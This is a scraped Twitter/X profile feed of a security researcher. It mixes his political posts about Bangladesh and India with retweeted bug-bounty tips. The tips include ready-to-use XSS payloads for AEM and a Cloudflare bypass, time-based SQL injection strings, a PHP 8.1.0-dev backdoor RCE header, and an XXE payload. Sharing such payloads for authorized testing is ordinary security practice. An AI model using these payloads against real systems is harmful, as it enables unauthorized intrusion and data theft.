Yeasir Arafat(nullsaint)

This is Arafat, a security professional. I am not sure why I am here, still working on it to find out. 😊 || Synack Red Team Member.

[Yeasir Arafat(nullsaint) @SSkylinearafat]

Another achievement of the year! Became and “Hero” and 15 for 15 in recognition of 2021. @SynackRedTeam

https://t.co/4R4uH3NMt2

[Yeasir Arafat(nullsaint) @SSkylinearafat]

@hahwul Hey, would this work under VPN to get the unauthenticated web apps URLs?

[Yeasir Arafat(nullsaint) @SSkylinearafat]

@TulsiGabbard your comments goes against on Bangladesh freedom, it’s a free and independent nation that has whole rights, what is right to do not to do. We don’t need your “Tulsi Syrup”. You better pay attention how Muslims minorities are being attacked and abused by Indian govt.

[Yeasir Arafat(nullsaint) @SSkylinearafat]

Hello all Online activists and Tech enthusiasts, I would like to encourage you to post positive and share current stories on social media’s(Fb, x,LinkedIn) against Indian news media rumors. You may aware of Indian news media are spreading false news and propaganda.

[Yeasir Arafat(nullsaint) @SSkylinearafat]

@Xtytia0922 Bullseye

[Aircorridor @_aircorridor]

Digital Forensics, Part 3: Recovering Deleted Files

In forensic investigation, recovering deleted files is a fundamental skill. When files are "deleted," they stay until overwritten and we can recover them.

@three_cube #forensics

https://t.co/JclLMd6lx3

[Yeasir Arafat(nullsaint) @SSkylinearafat]

@Savitar0x01 @jobertabma This mf never changed! Zero transparency! Scam!

[Yeasir Arafat(nullsaint) @SSkylinearafat]

@ihcdhaka Why you being silent on killing our innocent BGB members???
#boycottindia

[Jayesh Madnani @Jayesh25]

🔐 Bug Bounty Tips: Reported 15+ XSS Issues on a broad-scoped program leveraging AEM! 🚀

If you stumble upon a target app using AEM, make sure to use these XSS payloads for some quick wins! 💰

1️⃣ https://target[.]com/1<img src=x data'a'onerror=alert(domain)>.childrenlist.htm

2️⃣https://target[.]com/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"

3️⃣https://target[.]com/etc/designs/xh1x.childrenlist.json//<svg onload=alert(document.domain)>.html

Always try to escalate these issues to an Account Takeover for the chance at a 'High' severity payout. Stay vigilant! 🕵️‍♂️💡
#EthicalHacking #BugBounty #SecurityTips #Cybersecurity #StaySecure #HackerOne #BugCrowd #BugBountyTips

[Will Gates @WllGates]

7 SQLs

4 in php

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

1 in aspx

orwa';%20waitfor%20delay%20'0:0:6'%20--%20

2 in graphql

orwa') OR 11=(SELECT 11 FROM PG_SLEEP(6))--

credit: @GodfatherOrwa

#bug

[Yeasir Arafat(nullsaint) @SSkylinearafat]

@PortSwigger @PortSwiggerRes @albinowax Fire this payload automatically by burp with any input form. Why? Which Reasons?

[Yeasir Arafat(nullsaint) @SSkylinearafat]

Hello @PortSwigger @PortSwiggerRes @albinowax I'm kindly requesting you to give me an answer to this? Why does Burp Suite fire this "p@y&lt;"'p@y" payloads? This creates trouble for me, Please help me out by answering the question.

[Tur.js @Tur24Tur]

I've just developed my first @Burp_Suite Bambdas specifically to identify OWASP Top-25 Parameters potentially vulnerable to XSS, SSRF, RCE, SQLi, LFI, and Open Redirect. For easy code access, visit GitHub:
https://t.co/fCScaTPJ1I

#Bambdas #Java

[𝐑𝐀𝐢𝐡𝐚𝐧 ✪ @zapstiko]

If you find PHP 8.1.0-dev then try RCE &amp; SQLi
User-Agentt: zerodiumsleep(5);
User-Agentt: zerodiumsystem('id');

#bugbounty #bugbountytips #rce #sqli

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

7 SQLs

4 in php

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

1 in aspx

orwa';%20waitfor%20delay%20'0:0:6'%20--%20

2 in graphql
orwa') OR 11=(SELECT 11 FROM PG_SLEEP(6))--
#bugbountytips #bugbountytip 💕

[Yeasir Arafat(nullsaint) @SSkylinearafat]

@IndianCERT Are you aware of your country's hacktivist team "Indian Cyber Force" threatening us with cyber-attacks on August 15th is our National Mourning Day of Bangladesh???

[Nicolas Grégoire @Agarri_FR]

XXE inside a SOAP node: &lt;soap:Body&gt;&lt;foo&gt;&lt;![CDATA[&lt;!DOCTYPE doc [&lt;!ENTITY % dtd SYSTEM "http://0x0:22/"&gt; %dtd;]&gt;&lt;xxx/&gt;]]&gt;&lt;/foo&gt;&lt;/soap:Body&gt;

[Mehmet Kelepçe @m_kelepce]

Cloudflare XSS protection bypass:
"&gt;&lt;Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBYU1MgQG1fa2VsZXBjZQ=="))&gt;

[Pratik Dabhi @impratikdabhi]

Mobile Pentesting 101 - How to Set Up Your iOS Environment https://t.co/mwQsMAQ13a

[Mobile Hacker @androidmalware2]

Well written introduction blog on how to write your first Frida script for Android

https://t.co/qIXbbOZHyG via @R4JVE3R

#frida #bugbounty #pentest @fridadotre

[Mr Anon @ShieldifyAnon]

Solidity Tutorial : All About Assembly
https://t.co/9zOwX1emiB